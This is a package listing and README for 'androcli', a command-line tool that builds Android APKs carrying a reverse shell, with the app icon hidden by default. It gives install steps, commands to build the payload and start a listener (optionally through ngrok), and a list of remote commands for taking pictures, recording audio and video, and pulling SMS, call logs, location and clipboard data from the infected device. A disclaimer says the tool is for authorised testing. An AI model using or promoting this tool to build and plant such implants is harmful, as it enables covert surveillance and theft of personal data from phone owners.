AndroCliW - Android CLI Tool
AndroCliW is a powerful command-line tool for Android penetration testing and reverse shell operations. This tool allows you to build APK files with reverse shell capabilities and interact with Android devices remotely.
Features
- 🔧 APK Building: Build custom APK files with reverse shell capabilities
- 🌐 Ngrok Integration: Use ngrok for tunneling connections
- 📱 Remote Shell: Get interactive shell access to Android devices
- 🎯 Penetration Testing: Designed for security professionals and researchers
- 🔒 Stealth Options: Configurable icon visibility for stealth operations
Installation
From PyPI (Recommended)
pip install androcli
From Source
git clone https://github.com/AryanVBW/androcli.git
cd androcli
pip install -e .
Requirements
- Python 3.6 - 3.8
- Java 8 (for APK building)
- Android SDK (optional, for advanced features)
Usage
Basic Commands
# Build an APK with reverse shell
androcli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME>
# Start shell listener
androcli --shell -i <IP_ADDRESS> -p <PORT>
# Build APK with ngrok tunneling
androcli --build --ngrok -p <PORT> -o <OUTPUT_APK_NAME>
# Build APK with hidden icon
androcli --build -i <IP_ADDRESS> -p <PORT> -o <OUTPUT_APK_NAME> --icon
Command Line Options
--build: Build the APK file--shell: Start the shell listener--ngrok: Use ngrok for tunneling-i, --ip <IP>: Specify the IP address-p, --port <PORT>: Specify the port number-o, --output <NAME>: Specify the output APK name--icon: Make the app icon visible (default: hidden)
Shell Commands
Once connected to a device, you can use various commands:
deviceInfo: Get basic device informationcamList: List available camerastakepic [cameraID]: Take a picturestartVideo [cameraID]: Start video recordingstopVideo: Stop video recordingstartAudio: Start audio recordingstopAudio: Stop audio recordinggetSMS [inbox|sent]: Get SMS messagesgetCallLogs: Get call logsshell: Start interactive shellvibrate [times]: Vibrate the devicegetLocation: Get device locationgetIP: Get device IP addressgetSimDetails: Get SIM card detailsgetClipData: Get clipboard datagetMACAddress: Get MAC addressclear: Clear screenexit: Exit the session
Project Structure
androcli/
├── androcli/
│ ├── __init__.py
│ ├── main.py
│ └── utils.py
├── Android_Code/ # Android source code
├── Compiled_apk/ # Pre-compiled APK template
├── Jar_utils/ # Java utilities (apktool, signing)
├── Dumps/ # Output directory for captured data
├── setup.py
├── requirements.txt
└── README.md
Security Notice
⚠️ Important: This tool is designed for educational purposes and authorized penetration testing only. Users are responsible for ensuring they have proper authorization before using this tool on any devices or networks. Unauthorized access to computer systems is illegal.
Legal Disclaimer
This tool is provided for educational and research purposes only. The authors and contributors are not responsible for any misuse or damage caused by this tool. Always ensure you have explicit permission before testing on any systems you do not own.
Contributing
Contributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.
License
This project is licensed under the MIT License - see the LICENSE file for details.
Author
AryanVBW
- Email: whitedevil367467@gmail.com
- GitHub: @AryanVBW
Support
If you encounter any issues or have questions, please open an issue on GitHub.
Note: This tool requires Java 8 for APK building functionality. Make sure you have the appropriate Java version installed and configured in your system PATH.
Metadata
Release files for androcli 1.0.0
For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.
Source distribution (sdist)
| File | Size | Uploaded | |
|---|---|---|---|
| androcli-1.0.0.tar.gz | 26.6 MB | Details |
Built distribution (wheel)
| File | Interpreter | ABI | Platform | Reset |
|---|---|---|---|---|
| androcli-1.0.0-py3-none-any.whl | Python 3 | none | any | Details |
Total release size: 55.5 MB
Release files / androcli-1.0.0.tar.gz
| Download URL | androcli-1.0.0.tar.gz |
|---|---|
| Size | 26.6 MB |
| Tags | Source |
|
SHA-256 checksum How to use checksums |
dcf37c9eae75d53636e69ee46e416afe99bc0b22c46bb79282a7fcb2aa936e68
|
|
BLAKE2b-256 checksum How to use checksums |
b358911a6a604086858c693640c02f0a4f46c341b4b1e20e94630506b4839cc6
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.1.0 CPython/3.13.5
|
Release files / androcli-1.0.0-py3-none-any.whl
| Download URL | androcli-1.0.0-py3-none-any.whl |
|---|---|
| Size | 28.9 MB |
| Tags | Python 3 |
|
SHA-256 checksum How to use checksums |
db0fa985eb9d03b14c5f6c3bd3d071f71c8d4b52f1330729ed8796b94127f6f9
|
|
BLAKE2b-256 checksum How to use checksums |
1ad1b997eafd1c33176195dde714f4d9187944ef2969d61fb16ecf28a954dfef
|
| Upload date | |
|
Uploaded using Trusted Publishing? What is trusted publishing? |
No |
| Uploaded via |
twine/6.1.0 CPython/3.13.5
|